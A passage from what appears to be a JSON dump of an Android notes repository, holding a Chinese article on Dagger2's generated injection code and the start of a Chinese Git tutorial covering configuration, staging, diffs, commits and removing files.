    "content": "Dagger2原理分析(九)\n===\n\n\n在看这篇文章前，强烈建议看一下[注解使用](https://github.com/CharonChui/AndroidNote/blob/master/AdavancedPart/%E6%B3%A8%E8%A7%A3%E4%BD%BF%E7%94%A8.md)\n因为这篇文章只是分析`Dagger2`自动生成的代码，有关如何把注解生成代码的过程，就需要通过上面这篇文章来看了。\n\n\n写完用法之后，不看看源码，老是感觉好像还少了点什么？那这里就分析下源码。\n用一个最简单的例子来分析:  \n```java\npublic class A {\n    void print() {\n        Log.i(\"@@@\", \"A\");\n    }\n}\n\n@Module\npublic class AModule {\n    @Provides\n    A provideA() {\n        return new A();\n    }\n}\n\n@Component(modules = AModule.class)\npublic interface AComponent {\n    void inject(MainActivity activity);\n}\n\npublic class MainActivity extends Activity {\n    @Inject A a;\n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        DaggerAComponent.builder().build().inject(this);\n        a.print();\n    }\n}\n```\n\n首先我们看一下`dagger`自动生成的代码:\n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/dagger2_generate_code.png\" width=\"100%\" height=\"100%\">\n\n这里一共自动生成了三个类，通过名字我们很简单的能看出他们的对应关系，这里就从`Module`类开始一个个的说:   \n```java\npublic final class AModule_ProvideAFactory implements Factory<A> {\n  private final AModule module;\n\n  public AModule_ProvideAFactory(AModule module) {\n    this.module = module;\n  }\n\n  @Override\n  public A get() {\n    return provideInstance(module);\n  }\n\n  public static A provideInstance(AModule module) {\n    return proxyProvideA(module);\n  }\n\n  public static AModule_ProvideAFactory create(AModule module) {\n    return new AModule_ProvideAFactory(module);\n  }\n\n  public static A proxyProvideA(AModule instance) {\n\n  \t// 这里可以看到他内部其实就是调用了我们写的AModule里面的provideA()方法\n    return Preconditions.checkNotNull(\n        instance.provideA(), \"Cannot return null from a non-@Nullable @Provides method\");\n  }\n}\n```\n\n从前面几篇文章我们知道`Component`是`Module`和需求方的桥梁，所以我们看一下对应的`DaggerAComponent`的源码:    \n```java\npublic final class DaggerAComponent implements AComponent {\n  private AModule aModule;\n\n  private DaggerAComponent(Builder builder) {\n    initialize(builder);\n  }\n\n  public static Builder builder() {\n    return new Builder();\n  }\n\n  public static AComponent create() {\n    return new Builder().build();\n  }\n\n  @SuppressWarnings(\"unchecked\")\n  private void initialize(final Builder builder) {\n    this.aModule = builder.aModule;\n  }\n\n  @Override\n  public void inject(MainActivity activity) {\n    injectMainActivity(activity);\n  }\n\n  private MainActivity injectMainActivity(MainActivity instance) {\n  \t// 会将创建的Module对象传递到AModule_ProvideAFactory中，AModule_ProvideAFactory.proxyProvideA就是调用Module中的provideA()方法\n    MainActivity_MembersInjector.injectA(instance, AModule_ProvideAFactory.proxyProvideA(aModule));\n    return instance;\n  }\n\n  public static final class Builder {\n    private AModule aModule;\n\n    private Builder() {}\n\n    public AComponent build() {\n    \t// Component里面会创建Module类\n      if (aModule == null) {\n        this.aModule = new AModule();\n      }\n      return new DaggerAComponent(this);\n    }\n\n    public Builder aModule(AModule aModule) {\n      this.aModule = Preconditions.checkNotNull(aModule);\n      return this;\n    }\n  }\n}\n```\n我们在`Activity`中都要手动的去调用`DaggerAComponent`的`inject`方法:  \n```java\nDaggerAComponent.builder().build().inject(this);\n```\n我们看一下`inject`方法的源码:  \n```java\n  @Override\n  public void inject(MainActivity activity) {\n    injectMainActivity(activity);\n  }\n\n  private MainActivity injectMainActivity(MainActivity instance) {\n    MainActivity_MembersInjector.injectA(instance, AModule_ProvideAFactory.proxyProvideA(aModule));\n    return instance;\n  }\n```\n上面`AModule_ProvideAFactory.proxyProvideA(aModule)`其实就是调用了`AModule`里面的`provideA()`方法，这里会生成一个`A`类的对象。 \n那`MainActivity_MembersInjector.injectA()`方法的源码又是什么呢？ 这里继续看一下`MainActivity_MembersInjector`类的源码:    \n```java\npublic final class MainActivity_MembersInjector implements MembersInjector<MainActivity> {\n  private final Provider<A> aProvider;\n\n  public MainActivity_MembersInjector(Provider<A> aProvider) {\n    this.aProvider = aProvider;\n  }\n\n  public static MembersInjector<MainActivity> create(Provider<A> aProvider) {\n    return new MainActivity_MembersInjector(aProvider);\n  }\n\n  @Override\n  public void injectMembers(MainActivity instance) {\n    injectA(instance, aProvider.get());\n  }\n\n  public static void injectA(MainActivity instance, A a) {\n    instance.a = a;\n  }\n}\n```\n它里面其实就是讲`MainActivity`对象里面的成员变量`a`复制给我们通过参数传递过来的`A`类的对象。\n\n看到这里明白了吗？ \n```java\npublic class MainActivity extends Activity {\n    @Inject A a;\n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        DaggerAComponent.builder().build().inject(this);\n        a.print();\n    }\n}\n```\n所以我们在`MainActivity`中直接使用变量`a`的时候，其实`a`已经复制给了我们在`Module.provideA()`中创建的`A`类的对象。 \n\n\n\n\n\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Git/git详细教程.md",
    "content": "# Git全面教程\n\n## 简介\n\nGit分布式版本管理系统。\n\nLinus在1991年创建了开源的Linux，但是一直没有一个合适的版本管理工具，在2002年以前，世界各地的志愿者都是通过把源代码文件通过diff的方式给Linus，然后他本人通过手工的方式进行合并代码。后来在2002年BitMover公司同意BitKeeper免费给Linux社区使用，但是2005年，社区里的同学们试图破解BitKeeper的协议，被发现后，该公司撤销了他们免费试用的权利，然后Linus用两周时间，自己用c写了一个分布式版本控制工具，从此git就诞生了。。。\n\nGit设计之初的目标：\n- 速度\n- 简单的设计\n- 对非线性开发模式的强力支持（允许上千个并行开发的分支）\n- 完全分布式\n- 有能力高效管理类似 Linux 内核一样的超大规模项目（速度和数据量）\n\n自诞生于 2005 年以来，Git 日臻成熟完善，在高度易用的同时，仍然保留着初期设定的目标。它的速度飞快，极其适合管理大项目，它还有着令人难以置信的非线性分支管理系统，可以应付各种复杂的项目开发需求。\n\n\n\n### Git和其它版本控制系统的区别\n\n**直接记录快找，而非差异比较**\n\nGit 和其他版本控制系统的主要差别在于，Git 只关心文件数据的整体是否发生变化，而大多数其他系统则只关心文件内容的具体差异。这类系统（CVS，Subversion，Perforce，Bazaar 等等）每次记录有哪些文件作了更新，以及都更新了哪些行的什么内容，如下图：\n\n![其它系统记录的方式](http://iissnan.com/progit/book_src/figures/18333fig0104-tn.png)\n\nGit 并不保存这些前后变化的差异数据。实际上，Git 更像是把变化的文件作快照后，记录在一个微型的文件系统中。每次提交更新时，它会纵览一遍所有文件的指纹信息并对文件作一快照，然后保存一个指向这次快照的索引。为提高性能，若文件没有变化，Git 不会再次保存，而只对上次保存的快照作一链接。Git 的工作方式入下图所示：\n\n![Git工作方式](http://iissnan.com/progit/book_src/figures/18333fig0105-tn.png)\n\n这是 Git 同其他系统的重要区别。它完全颠覆了传统版本控制的套路，并对各个环节的实现方式作了新的设计。Git 更像是个小型的文件系统，但它同时还提供了许多以此为基础的超强工具，而不只是一个简单的 VCS。稍后在第三章讨论 Git 分支管理的时候，我们会再看看这样的设计究竟会带来哪些好处。\n\n**时刻保持数据完整性**\n\n在保存到 Git 之前，所有数据都要进行内容的校验和（checksum）计算，并将此结果作为数据的唯一标识和索引。换句话说，不可能在你修改了文件或目录之后，Git 一无所知。这项特性作为 Git 的设计哲学，建在整体架构的最底层。所以如果文件在传输时变得不完整，或者磁盘损坏导致文件数据缺失，Git 都能立即察觉。\n\nGit 使用 SHA-1 算法计算数据的校验和，通过对文件的内容或目录的结构计算出一个 SHA-1 哈希值，作为指纹字符串。该字串由 40 个十六进制字符（0-9 及 a-f）组成，看起来就像是：\n\n```\n24b9da6552252987aa493b52f8696cd6d3b00373\n```\n\nGit 的工作完全依赖于这类指纹字串，所以你会经常看到这样的哈希值。实际上，所有保存在 Git 数据库中的东西都是用此哈希值来作索引的，而不是靠文件名。\n\n**多数操作仅添加数据**\n\n常用的 Git 操作大多仅仅是把数据添加到数据库。因为任何一种不可逆的操作，比如删除数据，都会使回退或重现历史版本变得困难重重。在别的 VCS 中，若还未提交更新，就有可能丢失或者混淆一些修改的内容，但在 Git 里，一旦提交快照之后就完全不用担心丢失数据，特别是养成定期推送到其他仓库的习惯的话。\n\n这种高可靠性令我们的开发工作安心不少，尽管去做各种试验性的尝试好了，再怎样也不会弄丢数据。\n\n**文件的三种状态**\n\n好，现在请注意，接下来要讲的概念非常重要。对于任何一个文件，在 Git 内都只有三种状态：已提交（committed），已修改（modified）和已暂存（staged）。已提交表示该文件已经被安全地保存在本地数据库中了；已修改表示修改了某个文件，但还没有提交保存；已暂存表示把已修改的文件放在下次提交时要保存的清单中。\n\n由此我们看到 Git 管理项目时，文件流转的三个工作区域：Git 的工作目录，暂存区域，以及本地仓库。\n\n![Local Operations](http://iissnan.com/progit/book_src/figures/18333fig0106-tn.png)\n\n工作目录，暂存区域，以及本地仓库\n\n每个项目都有一个 Git 目录（译注：如果 ``git clone`` 出来的话，就是其中 .git 的目录；如果 ``git clone --bare`` 的话，新建的目录本身就是 Git 目录。），它是 Git 用来保存元数据和对象数据库的地方。该目录非常重要，每次克隆镜像仓库的时候，实际拷贝的就是这个目录里面的数据。\n\n从项目中取出某个版本的所有文件和目录，用以开始后续工作的叫做工作目录。这些文件实际上都是从 Git 目录中的压缩对象数据库中提取出来的，接下来就可以在工作目录中对这些文件进行编辑。\n\n所谓的暂存区域只不过是个简单的文件，一般都放在 Git 目录中。有时候人们会把这个文件叫做索引文件，不过标准说法还是叫暂存区域。\n\n基本的 Git 工作流程如下：\n\n1. 在工作目录中修改某些文件。\n2. 对修改后的文件进行快照，然后保存到暂存区域。\n3. 提交更新，将保存在暂存区域的文件快照永久转储到 Git 目录中。\n\n所以，我们可以从文件所处的位置来判断状态：如果是 Git 目录中保存着的特定版本文件，就属于已提交状态；如果作了修改并已放入暂存区域，就属于已暂存状态；如果自上次取出后，作了修改但还没有放到暂存区域，就是已修改状态。\n\n\n## Git的配置\n\n一般在新的系统上，我们都需要先配置下自己的 Git 工作环境。配置工作只需一次，以后升级时还会沿用现在的配置。当然，如果需要，你随时可以用相同的命令修改已有的配置。\n\nGit 提供了一个叫做 ``git config`` 的工具（译注：实际是 ``git-config`` 命令，只不过可以通过 ``git`` 加一个名字来呼叫此命令。），专门用来配置或读取相应的工作环境变量。而正是由这些环境变量，决定了 Git 在各个环节的具体工作方式和行为。这些变量可以存放在以下三个不同的地方：\n\n- ``/etc/gitconfig`` 文件：系统中对所有用户都普遍适用的配置。若使用 ``git config`` 时用 ``--system`` 选项，读写的就是这个文件。\n- ``~/.gitconfig`` 文件：用户目录下的配置文件只适用于该用户。若使用 ``git config`` 时用 ``--global`` 选项，读写的就是这个文件。\n- 当前项目的 Git 目录中的配置文件（也就是工作目录中的 ``.git/config`` 文件）：这里的配置仅仅针对当前项目有效。每一个级别的配置都会覆盖上层的相同配置，所以 ``.git/config`` 里的配置会覆盖 ``/etc/gitconfig`` 中的同名变量。\n\n在 Windows 系统上，Git 会找寻用户主目录下的 ``.gitconfig`` 文件。主目录即 ``$HOME`` 变量指定的目录，一般都是 ``C:\\Documents and Settings\\$USER``。此外，Git 还会尝试找寻 ``/etc/gitconfig`` 文件，只不过看当初 Git 装在什么目录，就以此作为根目录来定位。\n\n\n### 用户信息\n\n第一个要配置的是你个人的用户名称和电子邮件地址。这两条配置很重要，每次 Git 提交时都会引用这两条信息，说明是谁提交了更新，所以会随更新内容一起被永久纳入历史记录：\n\n```Shell\n$ git config --global user.name \"John Doe\"\n$ git config --global user.email johndoe@example.com\n```\n\n如果用了 --global 选项，那么更改的配置文件就是位于你用户主目录下的那个，以后你所有的项目都会默认使用这里配置的用户信息。如果要在某个特定的项目中使用其他名字或者电邮，只要去掉 --global 选项重新配置即可，新的设定保存在当前项目的 .git/config 文件里。\n\n###  文本编辑器\n\n接下来要设置的是默认使用的文本编辑器。Git 需要你输入一些额外消息的时候，会自动调用一个外部文本编辑器给你用。默认会使用操作系统指定的默认编辑器，一般可能会是 Vi 或者 Vim。如果你有其他偏好，比如 Emacs 的话，可以重新设置：\n\n```shell\n$ git config --global core.editor emacs\n```\n\n### 差异分析工具\n\n还有一个比较常用的是，在解决合并冲突时使用哪种差异分析工具。比如要改用 vimdiff 的话：\n\n```Shell\n$ git config --global merge.tool vimdiff\n```\n\nGit 可以理解 kdiff3，tkdiff，meld，xxdiff，emerge，vimdiff，gvimdiff，ecmerge，和 opendiff 等合并工具的输出信息。\n\n### 查看配置信息\n\n要检查已有的配置信息，可以使用``git config —list``命令：\n\n```shell\n$ git config --list\nuser.name=Scott Chacon\nuser.email=schacon@gmail.com\ncolor.status=auto\ncolor.branch=auto\ncolor.interactive=auto\ncolor.diff=auto\n...\n```\n\n有时候会看到重复的变量名，那就说明它们来自不同的配置文件（比如 `/etc/gitconfig` 和 `~/.gitconfig`），不过最终 Git 实际采用的是最后一个。\n\n也可以直接查阅某个环境变量的设定，只要把特定的名字跟在后面即可，像这样：\n\n```shell\n$ git config user.name\nScott Chacon\n```\n\n\n\n## 获取帮助\n\n想了解 Git 的各式工具该怎么用，可以阅读它们的使用帮助，方法有三：\n\n```shell\n$ git help <verb>\n$ git <verb> --help\n$ man git-<verb>\n```\n\n比如，要学习 config 命令可以怎么用，运行：\n\n```Shell\n$ git help config\n```\n\n我们随时都可以浏览这些帮助信息而无需连网。 不过，要是你觉得还不够，可以到 Freenode IRC 服务器（irc.freenode.net）上的 `#git` 或 `#github` 频道寻求他人帮助。这两个频道上总有着上百号人，大多都有着丰富的 Git 知识，并且乐于助人。\n\n\n\n## Git基础\n\n### 创建版本库\n\n- ``git init``\n- ``git clone``\n\n![Create Git Repository](http://upload-images.jianshu.io/upload_images/2585384-e65ed14e0f0ab8b2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n![clone](http://upload-images.jianshu.io/upload_images/2585384-ab2e5e2b195e1624.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n\n初始化后，在当前目录下会出现一个名为 .git 的目录，所有 Git 需要的数据和资源都存放在这个目录中。不过目前，仅仅是按照既有的结构框架初始化好了里边所有的文件和目录，但我们还没有开始跟踪管理项目中的任何一个文件。\n\n如果当前目录下有几个文件想要纳入版本控制，需要先用 `git add` 命令告诉 Git 开始对这些文件进行跟踪，然后提交：\n\n```Shell\n$ git add *.c\n$ git add README\n$ git commit -m 'initial project version'\t\n```\n\n\n\n### 记录每次更新到仓库\n\n现在我们手上已经有了一个真实项目的 Git 仓库，并从这个仓库中取出了所有文件的工作拷贝。接下来，对这些文件作些修改，在完成了一个阶段的目标之后，提交本次更新到仓库。\n\n请记住，工作目录下面的所有文件都不外乎这两种状态：已跟踪或未跟踪。已跟踪的文件是指本来就被纳入版本控制管理的文件，在上次快照中有它们的记录，工作一段时间后，它们的状态可能是未更新，已修改或者已放入暂存区。而所有其他文件都属于未跟踪文件。它们既没有上次更新时的快照，也不在当前的暂存区域。初次克隆某个仓库时，工作目录中的所有文件都属于已跟踪文件，且状态为未修改。\n\n在编辑过某些文件之后，Git 将这些文件标为已修改。我们逐步把这些修改过的文件放到暂存区域，直到最后一次性提交所有这些暂存起来的文件，如此重复。所以使用 Git 时的文件状态变化周期如下图所示：\n\n\n\n![File Status Lifecycle](http://iissnan.com/progit/book_src/figures/18333fig0201-tn.png)\n\n\n\n### 检查当前文件状态\n\n要确定哪些文件当前处于什么状态，可以用 `git status` 命令。如果在克隆仓库之后立即执行此命令，会看到类似这样的输出：\n\n```shell\n$ git status\nOn branch master\nnothing to commit, working directory clean\n```\n\n这说明你现在的工作目录相当干净。换句话说，所有已跟踪文件在上次提交后都未被更改过。此外，上面的信息还表明，当前目录下没有出现任何处于未跟踪的新文件，否则 Git 会在这里列出来。最后，该命令还显示了当前所在的分支是 `master`，这是默认的分支名称，实际是可以修改的，现在先不用考虑。下一章我们就会详细讨论分支和引用。\n\n现在让我们用 vim 创建一个新文件 README，保存退出后运行 `git status` 会看到该文件出现在未跟踪文件列表中：\n\n```Shell\n$ vim README\n$ git status\nOn branch master\nUntracked files:\n  (use \"git add <file>...\" to include in what will be committed)\n\n        README\n\nnothing added to commit but untracked files present (use \"git add\" to track)\n```\n\n\n\n在状态报告中可以看到新建的`README`文件出现在“Untracked files”下面。未跟踪的文件意味着Git在之前的快照（提交）中没有这些文件；Git 不会自动将之纳入跟踪范围，除非你明明白白地告诉它“我需要跟踪该文件”，因而不用担心把临时文件什么的也归入版本管理。不过现在的例子中，我们确实想要跟踪管理 README 这个文件。\n\n\n\n### 跟踪新文件\n\n使用命令 `git add` 开始跟踪一个新文件。所以，要跟踪 README 文件，运行：\n\n```Shell\n$ git add README\n```\n\n\n\n此时再运行 `git status` 命令，会看到 README 文件已被跟踪，并处于暂存状态：\n\n```shell\n$ git status\nOn branch master\nChanges to be committed:\n  (use \"git reset HEAD <file>...\" to unstage)\n\n        new file:   README\n```\n\n\n\n只要在 “Changes to be committed” 这行下面的，就说明是已暂存状态。如果此时提交，那么该文件此时此刻的版本将被留存在历史记录中。你可能会想起之前我们使用 `git init` 后就运行了 `git add` 命令，开始跟踪当前目录下的文件。在 `git add` 后面可以指明要跟踪的文件或目录路径。如果是目录的话，就说明要递归跟踪该目录下的所有文件。（译注：其实 `git add` 的潜台词就是把目标文件快照放入暂存区域，也就是 add file into staged area，同时未曾跟踪过的文件标记为需要跟踪。这样就好理解后续 add 操作的实际意义了。）\n\n\n\n### 暂存已修改文件\n\n现在我们修改下之前已跟踪过的文件 `benchmarks.rb`，然后再次运行 `status` 命令，会看到这样的状态报告：\n\n```shell\n$ git status\nOn branch master\nChanges to be committed:\n  (use \"git reset HEAD <file>...\" to unstage)\n\n        new file:   README\n\nChanges not staged for commit:\n  (use \"git add <file>...\" to update what will be committed)\n  (use \"git checkout -- <file>...\" to discard changes in working directory)\n\n        modified:   benchmarks.rb\n```\n\n文件 `benchmarks.rb` 出现在 “Changes not staged for commit” 这行下面，说明已跟踪文件的内容发生了变化，但还没有放到暂存区。要暂存这次更新，需要运行 `git add` 命令（这是个多功能命令，根据目标文件的状态不同，此命令的效果也不同：可以用它开始跟踪新文件，或者把已跟踪的文件放到暂存区，还能用于合并时把有冲突的文件标记为已解决状态等）。现在让我们运行 `git add` 将 benchmarks.rb 放到暂存区，然后再看看 `git status` 的输出：\n\n```shell\n$ git add benchmarks.rb\n$ git status\nOn branch master\nChanges to be committed:\n  (use \"git reset HEAD <file>...\" to unstage)\n\n        new file:   README\n        modified:   benchmarks.rb\n```\n\n现在两个文件都已暂存，下次提交时就会一并记录到仓库。假设此时，你想要在 `benchmarks.rb` 里再加条注释，重新编辑存盘后，准备好提交。不过且慢，再运行 `git status` 看看：\n\n```shell\n$ vim benchmarks.rb\n$ git status\nOn branch master\nChanges to be committed:\n  (use \"git reset HEAD <file>...\" to unstage)\n\n        new file:   README\n        modified:   benchmarks.rb\n\nChanges not staged for commit:\n  (use \"git add <file>...\" to update what will be committed)\n  (use \"git checkout -- <file>...\" to discard changes in working directory)\n\n        modified:   benchmarks.rb\n```\n\n怎么回事？ `benchmarks.rb` 文件出现了两次！一次算未暂存，一次算已暂存，这怎么可能呢？好吧，实际上 Git 只不过暂存了你运行 `git add` 命令时的版本，如果现在提交，那么提交的是添加注释前的版本，而非当前工作目录中的版本。所以，运行了 `git add` 之后又作了修订的文件，需要重新运行 `git add` 把最新版本重新暂存起来：\n\n```shell\n$ git add benchmarks.rb\n$ git status\nOn branch master\nChanges to be committed:\n  (use \"git reset HEAD <file>...\" to unstage)\n\n        new file:   README\n        modified:   benchmarks.rb\n```\n\n\n\n### 忽略某些文件\n\n一般我们总会有些文件无需纳入 Git 的管理，也不希望它们总出现在未跟踪文件列表。通常都是些自动生成的文件，比如日志文件，或者编译过程中创建的临时文件等。我们可以创建一个名为 `.gitignore` 的文件，列出要忽略的文件模式。来看一个实际的例子：\n\n```shell\n$ cat .gitignore\n*.[oa]\n*~\n```\n\n第一行告诉 Git 忽略所有以 `.o` 或 `.a` 结尾的文件。一般这类对象文件和存档文件都是编译过程中出现的，我们用不着跟踪它们的版本。第二行告诉 Git 忽略所有以波浪符（`~`）结尾的文件，许多文本编辑软件（比如 Emacs）都用这样的文件名保存副本。此外，你可能还需要忽略 `log`，`tmp` 或者 `pid` 目录，以及自动生成的文档等等。要养成一开始就设置好 `.gitignore` 文件的习惯，以免将来误提交这类无用的文件。\n\n文件 `.gitignore` 的格式规范如下：\n\n- 所有空行或者以注释符号 `＃` 开头的行都会被 Git 忽略。\n- 可以使用标准的 glob 模式匹配。\n- 匹配模式最后跟反斜杠（`/`）说明要忽略的是目录。\n- 要忽略指定模式以外的文件或目录，可以在模式前加上惊叹号（`!`）取反。\n\n所谓的 glob 模式是指 shell 所使用的简化了的正则表达式。星号（`*`）匹配零个或多个任意字符；`[abc]` 匹配任何一个列在方括号中的字符（这个例子要么匹配一个 a，要么匹配一个 b，要么匹配一个 c）；问号（`?`）只匹配一个任意字符；如果在方括号中使用短划线分隔两个字符，表示所有在这两个字符范围内的都可以匹配（比如 `[0-9]` 表示匹配所有 0 到 9 的数字）。\n\n我们再看一个 `.gitignore` 文件的例子：\n\n```Shell\n# 此为注释 – 将被 Git 忽略\n# 忽略所有 .a 结尾的文件\n*.a\n# 但 lib.a 除外\n!lib.a\n# 仅仅忽略项目根目录下的 TODO 文件，不包括 subdir/TODO\n/TODO\n# 忽略 build/ 目录下的所有文件\nbuild/\n# 会忽略 doc/notes.txt 但不包括 doc/server/arch.txt\ndoc/*.txt\n# ignore all .txt files in the doc/ directory\ndoc/**/*.txt\n```\n\n### 查看已暂存和未暂存的更新\n\n实际上 `git status` 的显示比较简单，仅仅是列出了修改过的文件，如果要查看具体修改了什么地方，可以用 `git diff` 命令。稍后我们会详细介绍 `git diff`，不过现在，它已经能回答我们的两个问题了：当前做的哪些更新还没有暂存？有哪些更新已经暂存起来准备好了下次提交？ `git diff` 会使用文件补丁的格式显示具体添加和删除的行。\n\n假如再次修改 `README` 文件后暂存，然后编辑 `benchmarks.rb` 文件后先别暂存，运行 `status` 命令将会看到：\n\n```shell\n$ git status\nOn branch master\nChanges to be committed:\n  (use \"git reset HEAD <file>...\" to unstage)\n\n        new file:   README\n\nChanges not staged for commit:\n  (use \"git add <file>...\" to update what will be committed)\n  (use \"git checkout -- <file>...\" to discard changes in working directory)\n\n        modified:   benchmarks.rb\n```\n\n要查看尚未暂存的文件更新了哪些部分，不加参数直接输入 `git diff`：\n\n```shell\n$ git diff\ndiff --git a/benchmarks.rb b/benchmarks.rb\nindex 3cb747f..da65585 100644\n--- a/benchmarks.rb\n+++ b/benchmarks.rb\n@@ -36,6 +36,10 @@ def main\n           @commit.parents[0].parents[0].parents[0]\n         end\n\n+        run_code(x, 'commits 1') do\n+          git.commits.size\n+        end\n+\n         run_code(x, 'commits 2') do\n           log = git.commits('master', 15)\n           log.size\n```\n\n此命令比较的是工作目录中当前文件和暂存区域快照之间的差异，也就是修改之后还没有暂存起来的变化内容。\n\n若要看已经暂存起来的文件和上次提交时的快照之间的差异，可以用 `git diff --cached` 命令。（Git 1.6.1 及更高版本还允许使用 `git diff --staged`，效果是相同的，但更好记些。）来看看实际的效果：\n\n```shell\n$ git diff --cached\ndiff --git a/README b/README\nnew file mode 100644\nindex 0000000..03902a1\n--- /dev/null\n+++ b/README2\n@@ -0,0 +1,5 @@\n+grit\n+ by Tom Preston-Werner, Chris Wanstrath\n+ http://github.com/mojombo/grit\n+\n+Grit is a Ruby library for extracting information from a Git repository\n```\n\n 请注意，单单 `git diff` 不过是显示还没有暂存起来的改动，而不是这次工作和上次提交之间的差异。所以有时候你一下子暂存了所有更新过的文件后，运行 `git diff` 后却什么也没有，就是这个原因。\n\n像之前说的，暂存 benchmarks.rb 后再编辑，运行 `git status` 会看到暂存前后的两个版本：\n\n```shell\n$ git add benchmarks.rb\n$ echo '# test line' >> benchmarks.rb\n$ git status\nOn branch master\nChanges to be committed:\n  (use \"git reset HEAD <file>...\" to unstage)\n\n        modified:   benchmarks.rb\n\nChanges not staged for commit:\n  (use \"git add <file>...\" to update what will be committed)\n  (use \"git checkout -- <file>...\" to discard changes in working directory)\n\n        modified:   benchmarks.rb\n```\n\n现在运行 `git diff` 看暂存前后的变化：\n\n```shell\n$ git diff\ndiff --git a/benchmarks.rb b/benchmarks.rb\nindex e445e28..86b2f7c 100644\n--- a/benchmarks.rb\n+++ b/benchmarks.rb\n@@ -127,3 +127,4 @@ end\n main()\n\n ##pp Grit::GitRuby.cache_client.stats\n+# test line\n```\n\n\n\n然后用 `git diff --cached` 查看已经暂存起来的变化：\n\n```Shell\n$ git diff --cached\ndiff --git a/benchmarks.rb b/benchmarks.rb\nindex 3cb747f..e445e28 100644\n--- a/benchmarks.rb\n+++ b/benchmarks.rb\n@@ -36,6 +36,10 @@ def main\n          @commit.parents[0].parents[0].parents[0]\n        end\n\n+        run_code(x, 'commits 1') do\n+          git.commits.size\n+        end\n+\n        run_code(x, 'commits 2') do\n          log = git.commits('master', 15)\n          log.size\n```\n\n\n\nGUI:\n\n![](https://ws2.sinaimg.cn/large/006tNc79ly1fjs76fg48uj31ai0dgaan.jpg)\n\n\n\n### 提交更新\n\n现在的暂存区域已经准备妥当可以提交了。在此之前，请一定要确认还有什么修改过的或新建的文件还没有 `git add` 过，否则提交的时候不会记录这些还没暂存起来的变化。所以，每次准备提交前，先用 `git status` 看下，是不是都已暂存起来了，然后再运行提交命令 `git commit`：\n\n```shell\n$ git commit\n```\n\n这种方式会启动文本编辑器以便输入本次提交的说明。（默认会启用 shell 的环境变量 `$EDITOR` 所指定的软件，一般都是 vim 或 emacs。当然也可以按照第一章介绍的方式，使用 `git config --global core.editor` 命令设定你喜欢的编辑软件。）\n\n编辑器会显示类似下面的文本信息（本例选用 Vim 的屏显方式展示）：\n\n```shell\n# Please enter the commit message for your changes. Lines starting\n# with '#' will be ignored, and an empty message aborts the commit.\n# On branch master\n# Changes to be committed:\n#       new file:   README\n#       modified:   benchmarks.rb\n#\n~\n~\n~\n\".git/COMMIT_EDITMSG\" 10L, 283C\n```\n\n可以看到，默认的提交消息包含最后一次运行 `git status` 的输出，放在注释行里，另外开头还有一空行，供你输入提交说明。你完全可以去掉这些注释行，不过留着也没关系，多少能帮你回想起这次更新的内容有哪些。（如果觉得这还不够，可以用 `-v` 选项将修改差异的每一行都包含到注释中来。）退出编辑器时，Git 会丢掉注释行，将说明内容和本次更新提交到仓库。\n\n另外也可以用 -m 参数后跟提交说明的方式，在一行命令中提交更新：\n\n```shell\n$ git commit -m \"Story 182: Fix benchmarks for speed\"\n[master 463dc4f] Story 182: Fix benchmarks for speed\n 2 files changed, 3 insertions(+)\n create mode 100644 README\n```\n\n好，现在你已经创建了第一个提交！可以看到，提交后它会告诉你，当前是在哪个分支（master）提交的，本次提交的完整 SHA-1 校验和是什么（`463dc4f`），以及在本次提交中，有多少文件修订过，多少行添改和删改过。\n\n记住，提交时记录的是放在暂存区域的快照，任何还未暂存的仍然保持已修改状态，可以在下次提交时纳入版本管理。每一次运行提交操作，都是对你项目作一次快照，以后可以回到这个状态，或者进行比较。\n\n\n\nGUI:\n\n![commit](https://ws1.sinaimg.cn/large/006tNc79ly1fjs7dt190bj31ek1c0q81.jpg)\n\n\n\n\n\n### 跳过使用暂存区域\n\n尽管使用暂存区域的方式可以精心准备要提交的细节，但有时候这么做略显繁琐。Git 提供了一个跳过使用暂存区域的方式，只要在提交的时候，给 `git commit` 加上 `-a` 选项，Git 就会自动把所有已经跟踪过的文件暂存起来一并提交，从而跳过 `git add` 步骤：\n\n```\n$ git status\nOn branch master\nChanges not staged for commit:\n  (use \"git add <file>...\" to update what will be committed)\n  (use \"git checkout -- <file>...\" to discard changes in working directory)\n\n        modified:   benchmarks.rb\n\nno changes added to commit (use \"git add\" and/or \"git commit -a\")\n$ git commit -a -m 'added new benchmarks'\n[master 83e38c7] added new benchmarks\n 1 files changed, 5 insertions(+)\n```\n\n看到了吗？提交之前不再需要 `git add` 文件 benchmarks.rb 了。\n\n\n\n### 移除文件\n\n要从 Git 中移除某个文件，就必须要从已跟踪文件清单中移除（确切地说，是从暂存区域移除），然后提交。可以用 `git rm` 命令完成此项工作，并连带从工作目录中删除指定的文件，这样以后就不会出现在未跟踪文件清单中了。\n\n如果只是简单地从工作目录中手工删除文件，运行 `git status` 时就会在 “Changes not staged for commit” 部分（也就是*未暂存*清单）看到：\n\n```shell\n$ rm grit.gemspec\n$ git status\nOn branch master\nChanges not staged for commit:\n  (use \"git add/rm <file>...\" to update what will be committed)\n  (use \"git checkout -- <file>...\" to discard changes in working directory)\n\n        deleted:    grit.gemspec\n\nno changes added to commit (use \"git add\" and/or \"git commit -a\")\n```\n\n然后再运行 `git rm` 记录此次移除文件的操作：\n\n```shell\n$ git rm grit.gemspec\nrm 'grit.gemspec'\n$ git status\nOn branch master\nChanges to be committed:\n  (use \"git reset HEAD <file>...\" to unstage)\n\n        deleted:    grit.gemspec\n```\n\n最后提交的时候，该文件就不再纳入版本管理了。如果删除之前修改过并且已经放到暂存区域的话，则必须要用强制删除选项 `-f`（译注：即 force 的首字母），以防误删除文件后丢失修改的内容。\n\n另外一种情况是，我们想把文件从 Git 仓库中删除（亦即从暂存区域移除），但仍然希望保留在当前工作目录中。换句话说，仅是从跟踪清单中删除。比如一些大型日志文件或者一堆 `.a`编译文件，不小心纳入仓库后，要移除跟踪但不删除文件，以便稍后在 `.gitignore` 文件中补上，用 `--cached` 选项即可：\n\n```shell\n$ git rm --cached readme.txt\n```\n\n后面可以列出文件或者目录的名字，也可以使用 glob 模式。比方说：\n\n```shell\n$ git rm log/\\*.log\n```\n\n注意到星号 `*` 